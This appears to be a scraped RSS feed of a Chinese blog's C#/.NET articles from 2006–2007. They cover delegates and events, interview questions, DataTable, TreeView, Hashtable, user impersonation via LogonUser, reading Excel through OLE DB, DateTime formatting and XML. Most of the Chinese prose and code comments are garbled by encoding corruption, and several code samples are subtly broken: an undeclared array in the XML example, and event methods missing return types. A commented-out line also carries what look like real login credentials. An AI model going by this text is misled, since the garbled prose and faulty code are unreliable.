/>现在你已l了解了索引指示器是用来做什么的Q以?qing)其用法。如同数l的用法一P你可以创建烦引指C器来访问类的成员。本文也提到了烦引指C器的重载和多参数烦引指C器?/font> <img src ="http://www.aygfsteel.com/zengke/aggbug/107154.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/zengke/" target="_blank">曄</a> 2007-03-29 11:08 <a href="http://www.aygfsteel.com/zengke/articles/107154.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>对C#委托?qing)事件委托的理?http://www.aygfsteel.com/zengke/articles/107152.htmlThu, 29 Mar 2007 03:05:00 GMThttp://www.aygfsteel.com/zengke/articles/107152.htmlhttp://www.aygfsteel.com/zengke/comments/107152.htmlhttp://www.aygfsteel.com/zengke/articles/107152.html#Feedback0http://www.aygfsteel.com/zengke/comments/commentRss/107152.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/107152.html托的声明

public delegate void MyDelegate(string str);
?br />1.委托的定义和Ҏ(gu)的定义类|只是在前面加了一个delegate,但委托不是方法,它是一U类型。是一U特D的cd,看成是一U新的对象类型比较好理解。用于对与该委托有相

同签名的Ҏ(gu)调用?br />2.委托相当于C++中的函数指针Q但它是cd安全的?br />3.委托是从System.DelegatezQ但不能象定义常规类型一L(fng)接从System.DelegatezQ对委托的声明只能通过上面的声明格式进行定义。关键字delegate通知~译器这是一

个委托类型,从而在~译的时候对该类q行装,对这一q程C#定义了专门的语法来处理这一q程?br />4.不能从一个委托类型进行派生,因ؓ(f)它也是默认sealed?br />5.委托卛_以对静态方法进行调用也可以对实例方法进行调用?br />6.每个委托cd包含一个自q调用列表Q当l合一个委托或从一个委托中删除一个委托时都将产生个新的调用列表?br />7.两个不同cd的委托即使它们有相同的签名和q回|但还是两个不同类型的委托。但其实在用中可看作是相同的?/font>


委托的比?/font>

C#中对委托定义了两个操作符 == ?!=
在以下情况下两个委托是相{的Q?br />1.当两个委托都同时为null的时?br />2.当两个委托都不ؓ(f)null?下列情况下是相等的?br />a.当两个委托的各自的调用列表只含有一个入口点的时?br />   在下列情况下是相{的
   (1) 调用同一对象的同一静态方?br />   (2) 调用同一对象的同一实例Ҏ(gu)
b.当两个委托具有多个入口点?br />   在下列情况下是相{的
   (1)只有当它们调用列表中的调用的Ҏ(gu)按顺序都一一对应相同的对象及(qing)对象的同一Ҏ(gu)的时?/font>

如上所q的两个不同cd的委托但是它们具有相同的{֐和返回值时Q只要满上q条件的Q即使它们类型不同,但比较的l果也是相同的?/font>

委托的异常处?/font>

当调用该委托的方法中发生了异常时Q首先在调用该委托的Ҏ(gu)中搜寻catch语句块。如果没有,则去该委托调用的Ҏ(gu)中去L有没有catch语句块,q和调用Ҏ(gu)发生异常的处

理是一L(fng)?/font>

当调用一个ؓ(f)null的委托即委托中列表中不存在调用方法时Q将发生NullRefrenceException

委托的注意点:
当一个委托有多个入口点的时?调用委托依该委托的调用列表中的Ҏ(gu)的顺序依ơ调?q些Ҏ(gu)׃n一个参数集?所以当委托有返回值的时候调用完q个委托后的q回值是最

后一个方法的q回值或是有out参数.如果该委托的参数为ref(引用cd),那么在招待第一个方法的时候如果对q个参数的值有所改变,那么q个改变会(x)影响到后面的Ҏ(gu)调用.

委托的一个例?/font>

using System;
using System.Collections.Generic;
using System.Text;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            // 创徏一个委托实例,装Ccȝ静态方法M1
            MyDelegate d1 = new MyDelegate(C.M1);
            d1("D1"); // M1

            // 创徏一个委托实例,装Ccȝ静态方法M2
            MyDelegate d2 = new MyDelegate(C.M2);
            d2("D2"); // M2

            // 创徏一个委托实例,装Ccȝ实例Ҏ(gu)M3
            MyDelegate d3 = new MyDelegate(new C().M3);
            d3("D3"); // M3

            // 从一个委托d3创徏一个委托实?br />            MyDelegate d4 = new MyDelegate(d3);
            d4("D4"); // M3

            // l合两个委托
            MyDelegate d5 = d1 + d2;
            d5 += d3;
            d5("D5"); // M1,M2,M3

            // 从组合委托中删除d3
            MyDelegate d6 = d5 - d3;
            d6("D6"); // M1,M2
            d6 -= d3; // 虽然d6调用列表中已l没有d3了,但这样只是不可能的移除没有错误发?br />            d6("D6"); // M1,M2
            d6 -= d6;
            //d6("D6"); 此时d6的调用列表ؓ(f)I,d6为null,所以引发System.NullReferenceException

            MyDelegate d7 = new MyDelegate(C1.P1);
            d7("D7"); // C1.P1

            MyDelegate d8 = new MyDelegate(new C2().P1);
            d8("D8"); // C2.P1

        }
    }

    // 声明一个委托MyDelegate
    public delegate void MyDelegate(string str);

    public class C
    {
        public static void M1(string str)
        {
            Console.WriteLine("From:C.M1:   {0}", str);
        }

        public static void M2(string str)
        {
            Console.WriteLine("From:C.M2:   {0}", str);
        }

        public void M3(string str)
        {
            Console.WriteLine("From:C.M3:   {0}", str);
        }
    }

    public class C1
    {
        public static void P1(string str)
        {
            Console.WriteLine("From:C1.P1:   {0}", str);
        }
    }

    public class C2
    {
        public void P1(string str)
        {
            Console.WriteLine("From:C2.P1:   {0}", str);
        }
    }   
}

事g委托

事g概述

事g是当对象或cȝ态发生改变时Q对象或cd出的信息或通知。发Z息的对象或类UCؓ(f)"事g?,对事件进行处理的Ҏ(gu)UCؓ(f)"接收?,通常事g源在发出状态改变信息时,?/font>

q不知道由哪个事件接收者来处理.q就需要一U管理机制来协调事g源和接收?C++中通过函数指针来完成的.在C#中事件用委托来发时调用的Ҏ(gu)提供cd安全的封?/font>


事g的声?/font>

1.声明一个委?br />public delegate void EventHandler(object sender, System.EventArgs e);

2.声明一个事?br />public event EventHandler Changed;

3.引发一个事?br />public OnChanged(EnventArgs e)
{
 if ( Changed != null)
 {
  Changed(this,e);
 }
}

4.定义事g处理E序
public MyText_OnChanged(Object sender,EventArgs e)
{
 ...
}

5.订阅事g(事件处理程序添加到事g的调用列表中)

myText.Changed += EventHandler(MyText_OnChanged);

下面的一个小例子说明了怎样定义一个完整的事g机制:

using System;
using System.Collections.Generic;
using System.Text;

namespace ConsoleApplication1
{
    class Program
    {       
        static void Main(string[] args)
        {             
            MyText myText = new MyText();

            // 事件处理程序添加到事g的调用列表中(即事件布U?
            myText.Changed += new MyText.ChangedEventHandler(myText_Changed);        
           
            string str = "";
            while (str != "quit")
            {
                Console.WriteLine("please enter a string:");
                str = Console.ReadLine();
                myText.Text = str;
            }
        }

        // 对Change事g处理的程?br />        private static void myText_Changed(object sender, EventArgs e)
        {
            Console.WriteLine("text has been changed  :{0}\n" ,((MyText)sender).Text);
        }       
    } 

    public class MyText
    {
        private string _text = "";

        // 定义事g的委?br />        public delegate void ChangedEventHandler(object sender, EventArgs e);

        // 定义一个事?br />        public event ChangedEventHandler Changed;

        // 用以触发Change事g
        protected virtual void OnChanged(EventArgs e)
        {
            if (this.Changed != null)
                this.Changed(this, e);
        }

        // Text属?br />        public string Text
        {
            get { return this._text; }
            set
            {
                this._text = value;
                // 文本改变时触发Change事g
                this.OnChanged(new EventArgs());
            }
        }
    }
}  



2007-03-29 11:05 发表评论
]]>
C#.Net的常见面试试?/title><link>http://www.aygfsteel.com/zengke/articles/87761.html</link><dc:creator>曄</dc:creator><author>曄</author><pubDate>Thu, 14 Dec 2006 09:45:00 GMT</pubDate><guid>http://www.aygfsteel.com/zengke/articles/87761.html</guid><wfw:comment>http://www.aygfsteel.com/zengke/comments/87761.html</wfw:comment><comments>http://www.aygfsteel.com/zengke/articles/87761.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/zengke/comments/commentRss/87761.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/zengke/services/trackbacks/87761.html</trackback:ping><description><![CDATA[ <p> <font size="2">              扑ַ作的朋友可能?x)用的到?<br />              我本w不是太懂倒耐特Q上星期有朋友来我这扑ַ作他整理的,<br />              所以我只负责发_(d)对疑问的解答q要交给你们了?/font> </p> <p> <font size="2">              1.面向对象的思想主要包括什么?<br />              2.什么是ASP.net中的用户控g<br />              3.什么叫应用E序域?什么是受管制的代码Q什么是强类型系l?什么是装箱和拆?什么是重蝲QCTS、CLS和CLR分别作何解释Q?br />              4.列D一下你所了解的XML技术及(qing)其应?br />              5.值类型和引用cd的区别?写出C#的样例代码?br />              6.ADO.net中常用的对象有哪些?分别描述一下?br />              7.如何理解委托Q?br />              8.C#中的接口和类有什么异同?br />              9.。net中读写数据库需要用到哪些类Q他们的作用<br />              10.UDPq接和TCPq接的异同?br />              11.ASP.net的n份验证方式有哪些Q分别是什么原理?<br />              12.q程和线E分别怎么理解Q?br />              13.什么是code-Behind技术?br />              14.zd目录的作用?br />              15..net中读写XML的类都归属于哪些命名I间Q?br />              16.解释一下UDDI、WSDL的意义及(qing)其作用?br />              17.什么是SOAP,有哪些应用?br />              18.如何部v一个ASP.net面?br />              19.如何理解.net中的垃圾回收机制?br />              20.常用的调用webserviceҎ(gu)有哪些?<br />              1 l承 多?装 <br />              2 用户控g. 不会(x)说懂得做<br />              3 装箱和拆发?值类型向引用cd转换,和引用类型向值类型{  重蝲:同一个函数参C?br />              4.xml可以用来做网?xslt) xml可以当作数据?xml可以用来保存对象的系列化<br />              5值类?没有什么好说的.引用cd用处是返回两个以上参数的时候比较好?ref out 我常用的是out不要先赋?br />              6  ado.net 我直接用 sqlhelper?有connection command q有参数<br />              7 回调机制比较有用?在net中采用了委托.<br />              8 接口,是可以多l承,cd有单l承.接口了你必须实现,而没有具本实现的Ҏ(gu)和虚cL点相?br />              9 datareader dataset q有一个不太常?br />              10 udp不要实现什么三ơ握?<br />              11 asp.netw䆾验证最常用q是以前的sessionҎ(gu). form验证没有用过. 微Y的哪个也没有用过<br />              12 q程单理解ؓ(f)单个E序?按ctrl+alt+del)可以看到?它至有一个主U程 .<br />              13 代码后置..不懂得讲<br />              14 zd目录.. 完全不会(x)<br />              15 system.xml (system.io创徏目录的时候用)<br />              16 q个也是web服务里的东西.<br />              17 soap单协?我只知道.web服务是基于它之上?br />              18 部置一个页? 也就是说没有代码是直接写在aspx中的?只接攑֜IIS的虚拟目录下p?当然要asp.net支持<br />              19 垃圾回收..一般的只要掌握.非托对象要记得释放资源p了吧.<br />              20 直接在vs.net里面引用O(jin)K?它会(x)自己生成一个代理类</font> </p> <p> <font size="2">              1.      填空: (1)面向对象的语ah___l承性、_装___性、___多态性?br />                      (2)能用foreach遍历讉K的对象需要实?IEnumerable接口或声明GetEnumerable <br />              Ҏ(gu)的类型?br />                      <br />              (3)列DADO.net中的五个主要对象Command、Connection、DataSet、DataSetCommand、DataReader?br />              2. 不定w择Q?br />              (1) 以下叙述正确的是Q?<br />                    A. 接口中可以有虚方法。   ?B. 一个类可以实现多个接口?<br />                    C. 接口不能被实例化。     ?D. 接口中可以包含已实现的方法?<br />                 (2) 从数据库d记录Q你可能用到的方法有Q?br />                    A. ExecuteNonQuery            B. ExecuteScalar<br />                    C. Fill                        D. ExecuteReader<br />              3. q?private?protected?public?internal 修饰W的讉K权限?/font> </p> <p> <font size="2">              4. 写出一条Sql语句Q?取出表A中第31到第40记录QSQLServer, 以自动增长的ID作ؓ(f)主键,  <br />              注意QID可能不是q箋的。) </font> </p> <p> <font size="2">              5 .列DASP.NET 面之间传递值的几种方式?</font> </p> <p> <font size="2">              6. 写出E序的输出结?<br />              class Class1  { <br />                     private string str = "Class1.str"; <br />                     private int i = 0; <br />                     static void StringConvert(string str)  { <br />                         str = "string being converted."; <br />                     } <br />                     static void StringConvert(Class1 c)  { <br />                         c.str = "string being converted."; <br />                     } <br />                     static void Add(int i)  { <br />                         i++; <br />                     } <br />                     static void AddWithRef(ref int i)  { <br />                         i++; <br />                     } <br />                     static void Main()  { <br />                         int i1 = 10; <br />                         int i2 = 20; <br />                         string str = "str"; <br />                         Class1 c = new Class1(); <br />                         Add(i1); <br />                         AddWithRef(ref i2); <br />                         Add(c.i); <br />                         StringConvert(str);         <br />                         StringConvert(c); <br />                         Console.WriteLine(i1); <br />                         Console.WriteLine(i2); <br />                         Console.WriteLine(c.i); <br />                         Console.WriteLine(str); <br />                         Console.WriteLine(c.str); <br />                     }  <br />                  } <br /></font> </p> <img src ="http://www.aygfsteel.com/zengke/aggbug/87761.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/zengke/" target="_blank">曄</a> 2006-12-14 17:45 <a href="http://www.aygfsteel.com/zengke/articles/87761.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DataTablecȝ使用http://www.aygfsteel.com/zengke/articles/87437.htmlWed, 13 Dec 2006 04:01:00 GMThttp://www.aygfsteel.com/zengke/articles/87437.htmlhttp://www.aygfsteel.com/zengke/comments/87437.htmlhttp://www.aygfsteel.com/zengke/articles/87437.html#Feedback0http://www.aygfsteel.com/zengke/comments/commentRss/87437.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/87437.html    DataTable dt = new DataTable();  //声明

     //d字段
    dt.Columns.Add("title",typeof(string));
    dt.Columns.Add("url",typeof(string));

      //dROW
      DataRow newRow = dt.NewRow();
      newRow["title"] = (string)item["|站?];
      newRow["url"] = (string)item["URL"];
      dt.Rows.Add(newRow);
 


    private bool IsExist(int id1, int id2)
    {      
        rows = dtYxzt.Select("id1=" + id1 + " and id2=" + id2);
        if (rows.Length > 0)
            return true ;
        else
            return false;
    }



2006-12-13 12:01 发表评论
]]>
在C#后代码里使用IE WEB Control TreeViewhttp://www.aygfsteel.com/zengke/articles/87095.htmlMon, 11 Dec 2006 16:06:00 GMThttp://www.aygfsteel.com/zengke/articles/87095.htmlhttp://www.aygfsteel.com/zengke/comments/87095.htmlhttp://www.aygfsteel.com/zengke/articles/87095.html#Feedback0http://www.aygfsteel.com/zengke/comments/commentRss/87095.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/87095.html在C#后代码里使用IE WEB Control TreeView
|站目录下需要有Microsoft.Web.UI.WebControls.dll和相应的文g
如大家要转蝲Q请保留本h的版权?

/*
*Description:完全的操作XML文g
*Auther:mingziweb_天很?
*Email:chongchong2008@msn.com
*Dates:22004-09-10
*Copyright:ChongChong2008 YiChang HuBei China
*/



.aspx
<%@ Register TagPrefix="ie" Namespace="Microsoft.Web.UI.WebControls" Assembly="Microsoft.Web.UI.WebControls" %>
<%@ Page language="c#" Codebehind="TreeView.aspx.cs" AutoEventWireup="false" Inherits="Test.WebForm1" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>WebForm1</title>
<meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1">
<meta name="CODE_LANGUAGE" Content="C#">
<meta name="vs_defaultClientScript" content="JavaScript">
<meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
</HEAD>
<body MS_POSITIONING="GridLayout">
<form id="Form1" method="post" runat="server">
<FONT face="宋体">
<ie:TreeView id="myTreeView" style="Z-INDEX: 101; LEFT: 24px; POSITION: absolute; TOP: 32px"
runat="server"></ie:TreeView></FONT>
</form>
</body>
</HTML>



.cs
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;

using System.Data.SqlClient;
using System.Configuration;

using Microsoft.Web.UI.WebControls;

namespace Test
{
/// <summary>
/// WebForm1 的摘要说明?
/// </summary>
public class WebForm1 : System.Web.UI.Page
{
protected Microsoft.Web.UI.WebControls.TreeView myTreeView;

private SqlConnection myConnection = new SqlConnection(ConfigurationSettings.AppSettings["strConn"]);



#region Web H体设计器生成的代码
override protected void OnInit(EventArgs e)
{
//
// CODEGEN: 该调用是 ASP.NET Web H体设计器所必需的?
//
InitializeComponent();
base.OnInit(e);
}

/// <summary>
/// 设计器支持所需的方?- 不要使用代码~辑器修?
/// 此方法的内容?
/// </summary>
private void InitializeComponent()
{
this.Load += new System.EventHandler(this.Page_Load);

}
#endregion





private void Page_Load(object sender, System.EventArgs e)
{
// 在此处放|用户代码以初始化页?

TreeNode myTreeNodeRoot = AddTreeNodeRoot();
AppendChild(myTreeNodeRoot);

}





private TreeNode AddTreeNodeRoot()
{

TreeNode myTreeNode = new TreeNode();

myTreeNode.ID = "420000";
myTreeNode.Expanded = true;
myTreeNode.Target = "";
myTreeNode.Text = "我的C֌";

myTreeView.Nodes.Add(myTreeNode);
return myTreeNode;
}



private TreeNode AddSubNode(TreeNode subTreeNode)
{

TreeNode myTreeNode = new TreeNode();

myTreeNode.ID = "00001";
myTreeNode.Expanded = true;
myTreeNode.Target = "";
myTreeNode.Text = "省䆾";
myTreeNode.NavigateUrl = "" ;

subTreeNode.Nodes.Add(myTreeNode);
return myTreeNode;
}





private void AppendChild(TreeNode myTreeNode)
{

TreeNode mySubNode = AddSubNode(myTreeNode);

if(GetClassTable().Rows.Count>0)
{
DataTable myDataTable = new DataTable();
myDataTable = GetClassTable();

for(int i=0;i<myDataTable.Rows.Count;i++)
{
TreeNode myTreeNodeSub = new TreeNode();

myTreeNodeSub.CheckBox=true;
if(i==20)
{
myTreeNodeSub.Checked=true;

}

myTreeNodeSub.ID = myDataTable.Rows[i]["class_code"].ToString();
myTreeNodeSub.Expanded = false;
myTreeNodeSub.Target = "Body";
myTreeNodeSub.Text = myDataTable.Rows[i]["class_name"].ToString();
myTreeNodeSub.NavigateUrl = "DocList.aspx?DocCatalogGuid=" + myDataTable.Rows[i]["class_code"].ToString();

mySubNode.Nodes.Add(myTreeNodeSub);

AppendChildren(myTreeNodeSub);

}
}
}




private void AppendChildren(TreeNode myTreeNode)
{
if(GetSubClassTable(myTreeNode.ID).Rows.Count>0)
{
DataTable myDataTable = new DataTable();
myDataTable = GetSubClassTable(myTreeNode.ID);

for(int i=0;i<myDataTable.Rows.Count;i++)
{
TreeNode myTreeNodeSub = new TreeNode();

myTreeNodeSub.CheckBox=true;


myTreeNodeSub.ID = myDataTable.Rows[i]["subclass_code"].ToString();
myTreeNodeSub.Expanded = false;
myTreeNodeSub.Target = "Body";
myTreeNodeSub.Text = myDataTable.Rows[i]["subclass_name"].ToString();
myTreeNodeSub.NavigateUrl = "DocList.aspx?DocCatalogGuid=" + myDataTable.Rows[i]["class_code"].ToString();

myTreeNode.Nodes.Add(myTreeNodeSub);

AppendChildren(myTreeNodeSub);

}
}
}





private DataTable GetClassTable()
{
//l定drpMC_Code

string strSql="select * from [class] order by id desc";

OpenConnection();

SqlDataAdapter myCommand = new SqlDataAdapter(strSql,myConnection);
DataSet ds= new DataSet();
myCommand.Fill(ds);

CloseConnection();

return ds.Tables[0];

}




private DataTable GetSubClassTable(string class_code)
{
//l定drpMC_Code

string strSql="select * from [subclass] where class_code=@class_code order by id desc";

OpenConnection();


SqlDataAdapter myCommand = new SqlDataAdapter(strSql,myConnection);

myCommand.SelectCommand.CommandType=CommandType.Text;
myCommand.SelectCommand.Parameters.Add("@class_code",SqlDbType.NVarChar,10).Value=class_code
;
DataSet ds= new DataSet();
myCommand.Fill(ds);

CloseConnection();

return ds.Tables[0];

}




/// <summary>
/// 打开数据库连?
/// </summary>

private void OpenConnection()
{

if (myConnection.State == ConnectionState.Closed)
myConnection.Open();

}





/// <summary>
/// 关闭数据库连?
/// </summary>

private void CloseConnection()
{

if (myConnection.State == ConnectionState.Open)
myConnection.Close();

}







}
}


2006-12-12 00:06 发表评论
]]>Hashtablehttp://www.aygfsteel.com/zengke/articles/86078.htmlThu, 07 Dec 2006 05:50:00 GMThttp://www.aygfsteel.com/zengke/articles/86078.htmlhttp://www.aygfsteel.com/zengke/comments/86078.htmlhttp://www.aygfsteel.com/zengke/articles/86078.html#Feedback0http://www.aygfsteel.com/zengke/comments/commentRss/86078.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/86078.html 一,哈希?Hashtable)q?/font>

  ?NET Framework中,Hashtable是System.Collections命名I间提供的一个容器,用于处理和表现类似keyvalue的键值对Q其中key通常可用来快速查找,同时key是区分大写Qvalue用于存储对应于key的倹{Hashtable中keyvalue键值对均ؓ(f)objectcdQ所以Hashtable可以支持Mcd的keyvalue键值对.

?哈希表的单操?/font>

 在哈希表中添加一个keyvalue键值对QHashtableObject.Add(key,value);
 在哈希表中去除某个keyvalue键值对QHashtableObject.Remove(key);
 从哈希表中移除所有元素:(x)           HashtableObject.Clear();
 判断哈希表是否包含特定键keyQ    ?HashtableObject.Contains(key);
 下面控制台程序将包含以上所有操作:(x)
using System;
using System.Collections; file使用HashtableӞ必须引入q个命名I间
class hashtable
{
  public static void Main()
  {
  Hashtable ht=new Hashtable(); file创徏一个Hashtable实例
  ht.Add(E,e);dkeyvalue键值对
  ht.Add(A,a);
  ht.Add(C,c);
  ht.Add(B,b);

注意Qkey值必d一?/font>
  string s=(string)ht[A];
  if(ht.Contains(E)) file判断哈希表是否包含特定键,其返回gؓ(f)true或false
    Console.WriteLine(the E keyexist);
  ht.Remove(C);U除一个keyvalue键值对
  Console.WriteLine(ht[A]);此处输出a
  ht.Clear();U除所有元?br />  Console.WriteLine(ht[A]); file此处不?x)有M输出
  }
}

?遍历哈希?/font>

 遍历哈希表需要用到DictionaryEntry ObjectQ代码如下:(x)
 for(DictionaryEntry de in ht) filehtZ个Hashtable实例
 {
   Console.WriteLine(de.Key);de.Key对应于keyvalue键值对key
   Console.WriteLine(de.Value);de.Key对应于keyvalue键值对value
 }

?对哈希表q行排序

  对哈希表q行排序在这里的定义是对keyvalue键值对中的key按一定规则重新排列,但是实际上这个定义是不能实现的,因ؓ(f)我们无法直接在Hashtableq行对keyq行重新排列Q如果需要Hashtable提供某种规则的输出,可以采用一U变通的做法Q?br /> ArrayList akeys=new ArrayList(ht.Keys); file别忘了导入System.Collections
 akeys.Sort(); file按字母顺序进行排?br /> for(string skey in akeys)
 {
   Console.Write(skey + );
   Console.WriteLine(ht[skey]);排序后输?br /> }



2006-12-07 13:50 发表评论
]]>
模拟用户登陆的类http://www.aygfsteel.com/zengke/articles/85293.htmlMon, 04 Dec 2006 02:31:00 GMThttp://www.aygfsteel.com/zengke/articles/85293.htmlhttp://www.aygfsteel.com/zengke/comments/85293.htmlhttp://www.aygfsteel.com/zengke/articles/85293.html#Feedback0http://www.aygfsteel.com/zengke/comments/commentRss/85293.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/85293.html using Microsoft.SharePoint.WebControls;
using Microsoft.Web.UI.WebControls;
private void Button1_Click(object sender, System.EventArgs e)
  {
   //模拟用户
   //WindowsImpersonationContext wic = CreateIdentity("ssa_sps03","paicdom","spstestA1").Impersonate();
   List list = new List();
   list.AddList(tb_NewsTitle.Text);
   //wic.Undo();
  }

  protected static WindowsIdentity CreateIdentity(string User, string Domain, string Password)
  {
   // The Windows NT user token.
   IntPtr tokenHandle = new IntPtr(0);

   const int LOGON32_PROVIDER_DEFAULT = 0;
   const int LOGON32_LOGON_NETWORK = 3;

   tokenHandle = IntPtr.Zero;

   // Call LogonUser to obtain a handle to an access token.
   bool returnValue = LogonUser(User, Domain, Password,
    LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT,
    ref tokenHandle);

   if (false == returnValue)
   {
    int ret = Marshal.GetLastWin32Error();
    throw new Exception("LogonUser failed with error code: " +  ret);
   }

   System.Diagnostics.Debug.WriteLine("Created user token: " + tokenHandle);

   //The WindowsIdentity class makes a new copy of the token.
   //It also handles calling CloseHandle for the copy.
   WindowsIdentity id = new WindowsIdentity(tokenHandle);
   CloseHandle(tokenHandle);
   return id;
  }

  [DllImport("advapi32.dll", SetLastError=true)]
  private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword,
   int dwLogonType, int dwLogonProvider, ref IntPtr phToken);

  [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
  private extern static bool CloseHandle(IntPtr handle);
 }



2006-12-04 10:31 发表评论
]]>
dxls文g内容http://www.aygfsteel.com/zengke/articles/84305.htmlWed, 29 Nov 2006 03:28:00 GMThttp://www.aygfsteel.com/zengke/articles/84305.htmlhttp://www.aygfsteel.com/zengke/comments/84305.htmlhttp://www.aygfsteel.com/zengke/articles/84305.html#Feedback0http://www.aygfsteel.com/zengke/comments/commentRss/84305.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/84305.htmlQ?@ Page Language="VB" %Q?br />Q?@ Import Namespace="System.Data" %Q?br />Q?@ Import Namespace="System.Data.Oledb" %Q?
Qscript language="VB" runat="server"Q?br />Sub Page_Load(sender As Object, e As EventArgs)
Dim myDataset As New DataSet()
Dim myOleDbConnection As OleDbConnection = New OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0;" & _
"Data Source=c:\2.xls;" & _
"Extended Properties=""Excel 8.0;""")
Dim myOleDbCommand As OleDbCommand = New OleDbCommand("SELECT * FROM [Sheet1$]",myOleDbConnection)
Dim myData As OledbDataAdapter= New OledbDataAdapter(myOleDbCommand)
myData.Fill(myDataset)
DataGrid1.DataSource = myDataset.Tables(0).DefaultView
DataGrid1.DataBind()
End Sub
Q?scriptQ?br />QhtmlQ?br />QheadQ</headQ?br />QbodyQ?br />Qasp:Label id="L1" runat="server"Q读取C盘根目录下的test.xls文gQƈ以DataGrid的Ş式显C出来</asp:labelQ?br />Qasp:DataGrid id=DataGrid1 runat="server"/Q?br />Q?bodyQ?br />Q?htmlQ?


2006-11-29 11:28 发表评论
]]>C#DateTime日期cd格式化显C?http://www.aygfsteel.com/zengke/articles/82229.htmlMon, 20 Nov 2006 04:46:00 GMThttp://www.aygfsteel.com/zengke/articles/82229.htmlhttp://www.aygfsteel.com/zengke/comments/82229.htmlhttp://www.aygfsteel.com/zengke/articles/82229.html#Feedback0http://www.aygfsteel.com/zengke/comments/commentRss/82229.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/82229.html1.l定时格式化日期Ҏ(gu):
<ASP:BOUNDCOLUMN DATAFIELD= "JoinTime " DATAFORMATSTRING= "{0:yyyy-MM-dd} " >
<ITEMSTYLE WIDTH= "18% " > </ITEMSTYLE >
</ASP:BOUNDCOLUMN >
 
2.数据控g如DataGrid/DataList{的件格式化日期Ҏ(gu):
e.Item.Cell[0].Text = Convert.ToDateTime(e.Item.Cell[0].Text).ToShortDateString();
 
3.用Stringc{换日期显C格?
String.Format( "yyyy-MM-dd ",yourDateTime);
 
4.用ConvertҎ(gu)转换日期昄格式:
Convert.ToDateTime("2005-8-23").ToString
("yyMMdd",System.Globalization.DateTimeFormatInfo.InvariantInfo); //支持J体数据?
 
5.直接用ToStringҎ(gu)转换日期昄格式:
DateTime.Now.ToString("yyyyMMddhhmmss");
DateTime.Now.ToString("yyyy/MM/dd hh:mm:ss")
 
6.只显C年?
DataBinder.Eval(Container.DataItem,"starttime","{0:yyyy-M}")
 
7.昄旉所有部分,包括Q年月日时分U?
<asp:BoundColumn DataField="收款旉" HeaderText="收款旉"
DataFormatString="{0:yyyy-MM-dd HH24:mm:ss}">
</asp:BoundColumn>


2006-11-20 12:46 发表评论
]]>xmlhttp://www.aygfsteel.com/zengke/articles/80702.htmlSun, 12 Nov 2006 07:21:00 GMThttp://www.aygfsteel.com/zengke/articles/80702.htmlhttp://www.aygfsteel.com/zengke/comments/80702.htmlhttp://www.aygfsteel.com/zengke/articles/80702.html#Feedback0http://www.aygfsteel.com/zengke/comments/commentRss/80702.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/80702.html 下面是通过dxml文g中的内容q显C在textbox的例子:(x)


using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Xml;
using System.Xml.XPath;

public partial class _Default : System.Web.UI.Page
{
    public string[] x = new string[4];
    protected void Page_Load(object sender, EventArgs e)
    {

        XmlDocument xmlDoc = new XmlDocument();
        xmlDoc.Load(Server.MapPath("table.xml"));//你的xml文g
        XmlNodeList xmlList = xmlDoc.SelectSingleNode("MapSheet").ChildNodes;
        foreach (XmlNode xmlNo in xmlList)
        {
            //XmlNodeList xe = (XmlNodeList)xmlNo;
            XmlElement xe = (XmlElement)xmlNo;
            {
                if (xe.Name == "TableName")
                {
                    y[0] = xe.InnerText;
                }

                if (xe.Name == "DataSource")
                {
                    y[1] = xe.InnerText;
                }

                if (xe.Name == "UserName")
                {
                    y[2] = xe.InnerText;
                }

                if (xe.Name == "Password")
                {
                    y[3] = xe.InnerText;
                }
            }
        }
        TextBox1.Text=y[0];
        TextBox2.Text = y[1];
        TextBox3.Text = y[2];
        TextBox4.Text = y[3];
    }


}该程序已l过试Q没有问题?/font>



2006-11-12 15:21 发表评论
]]>
c#来创建和dxml文档http://www.aygfsteel.com/zengke/articles/80699.htmlSun, 12 Nov 2006 07:17:00 GMThttp://www.aygfsteel.com/zengke/articles/80699.htmlhttp://www.aygfsteel.com/zengke/comments/80699.htmlhttp://www.aygfsteel.com/zengke/articles/80699.html#Feedback0http://www.aygfsteel.com/zengke/comments/commentRss/80699.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/80699.html 扩展标记语言xmlQextensible markup languageQ,是由w3cl织制定的。做为用于替代html语言的一U新型的标记语言Qxml内部有着很多基本标准Qxml是通过与这些相x准地l合Q应用于U学计算、电(sh)子出版、多媒体制作和电(sh)子商务的。cQ作ZU新型的E序语言Q是.net框架的一个重要组成部分,他和xml的关p颇深。本文就从一个方面来探讨一下这二者的关系。即Q看用cQ如何来创徏和读取xml文档。?br />
  一Q?本文E序设计和运行的软g环境Q?/b>
  1.微Y公司视窗2000服务器版 
  2..net framework sdk beta 2 

  二. cQ创建xml文档Q?/b>
